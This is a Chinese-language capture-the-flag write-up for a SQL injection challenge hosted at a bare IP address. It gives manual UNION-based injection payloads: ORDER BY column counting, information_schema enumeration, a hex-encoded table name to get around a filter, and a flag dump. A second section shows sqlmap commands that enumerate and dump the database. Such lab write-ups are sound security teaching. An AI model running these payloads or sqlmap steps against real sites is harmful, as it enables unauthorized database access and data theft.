http://123.206.87.240:8002/chengjidan/
应该就是一个注入题了
输入1
输入2
输入3
输入4
说明一共就3个字段
现在尝试一下手注
输入1'--+ 依旧报错
再试试1' 依旧报错
再试试1'# 没有报错了
这说明本题--+被过滤掉了
再来看数据库有几列
1234对应的数据库分别有:姓名,Math,English,Chinese,我们利用Order By来看看到底有几列
Payload:1' order by 4# 返回正常
1’ order by 5#,返回异常
所以确定一共只有四个列
开始爆破库,表,字段
在进行联合查询时,首先需要把前面的id给清空才能显示我们后面查询的内容
我们把id置为-1,然后union select
构造id=-1’ union select 1,2,3,4#,得到如下四个回显点
然后看看数据库名称,注意标点一定要是英文啊
构造 id=-1' union select 1,2,3,database()#
再看表名
这里记一点零碎的知识:
mysql中的information_schema 结构用来存储数据库系统信息
id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
最后来爆字段名
id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467#
这里用到了16进制编码来绕过,因为flag是敏感信息,可能会被过滤
id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=fl4g.sc#
否则查出来是空
最后查询数据
id=-1' union select 1,2,3,skctf_flag from fl4g#
2.SQLMAP法
随便输入数字然后抓包
把抓到的包另存为txt文件,然后在sqlmap里面跑
丢到sqlmap里,直接拖拽
构造命令 python sqlmap.py -r C:\Users\Zichel\Desktop\1.txt,这一步是查询是否存在sql注入
找到了数据库类型和注入点
接下来查询当前数据库
python sqlmap.py -r C:\Users\Zichel\Desktop\1.txt --current-db(无空格)
数据库名得到,为skctf_flag
查询有哪些数据表
python sqlmap.py -r C:\Users\Zichel\Desktop\1.txt -D skctf_flag –tables
看样子就是第一个表fl4g比较像
我们查询第一个表fl4g有那些列
python sqlmap.py -r C:\Users\Zichel\Desktop\1.txt -D skctf_flag –T fl4g –columns
我们来看看skctf_flag列的内容
python sqlmap.py -r C:\Users\Zichel\Desktop\1.txt -D skctf_flag –T fl4g -C skctf_flag --dump
一定要注意格式呀呀呀呀呀呀
结束